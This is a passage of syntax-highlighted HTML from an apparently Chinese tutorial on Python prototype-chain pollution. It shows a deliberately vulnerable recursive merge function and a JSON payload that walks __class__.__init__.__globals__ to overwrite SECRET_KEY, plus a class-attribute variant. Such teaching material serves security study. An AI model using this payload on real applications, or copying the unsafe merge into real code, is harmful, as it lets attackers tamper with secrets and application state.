style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                extracted_target </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> getattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">extracted_target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                 </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                setattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>不过如果target中含有取得的key这个属性，那么继续判断，如果取得的value是个字典，那么就会将target的key属性取出来作为新的target进行merge，如果value不是字典那么就将target对象的key属性赋值为value</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    Chesmmond</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    Arache</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">getattr</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/9.png\" class=\"\"></p>\n<p>由于所有的对象中都存在<code>__class__</code>属性，所以造成了原型链污染</p>\n<h1 id=\"例题\"><a class=\"anchor\" href=\"#例题\">#</a> 例题</h1>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">SECRET_KEY</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">I can't be changed!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> and</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> target</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        elif</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> hasattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                extracted_target </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> getattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">extracted_target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                 </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                setattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">obj</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pay</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">????????</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">obj</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pay</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">SECRET_KEY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>如果要使用<code>__init__</code>，那么merge的对象中必须存在<code>def __init__(self):</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    pass</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__class__</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">#============================</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        pass</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">__class__init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/9.png\" class=\"\"></p>\n<p>图片中的结果对应上面的两种python代码，如果不加上def语句的话，那么得到的就是object基类的<code>__init__</code>，但是由于object基类的<code>__init__</code>不是用python语言编写的，而是C语言，所以里面没有<code>__globals__</code>属性，那么我们的payload就断裂了</p>\n<p>回到这道上，我的pay应该是怎样的字符串才能将<code>SECRET_KEY</code>给修改为<code>Are you sure?</code>呢</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;\"__class__\":&#123;\"__init__\":&#123;\"__globals__\":&#123;\"SECRET_KEY\":\"Are you sure?\"&#125;&#125;&#125;&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/10.png\" class=\"\"></p>\n<p>实际上就是执行了将<code>obj.__class__.__init__.__globals__</code>中的<code>SECRET_KEY</code>修改为我们可控的内容</p>\n<p>除此之外，python原型链污染还可以直接修改类的属性：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">SECRET_KEY</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">I can't be changed!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">can you change me?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">NONONONONONO</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    Arache</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">YEAHYEAHYEAH</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> and</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> target</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        elif</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> hasattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                extracted_target </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> getattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">extracted_target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                 </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                setattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">obj</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pay</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span 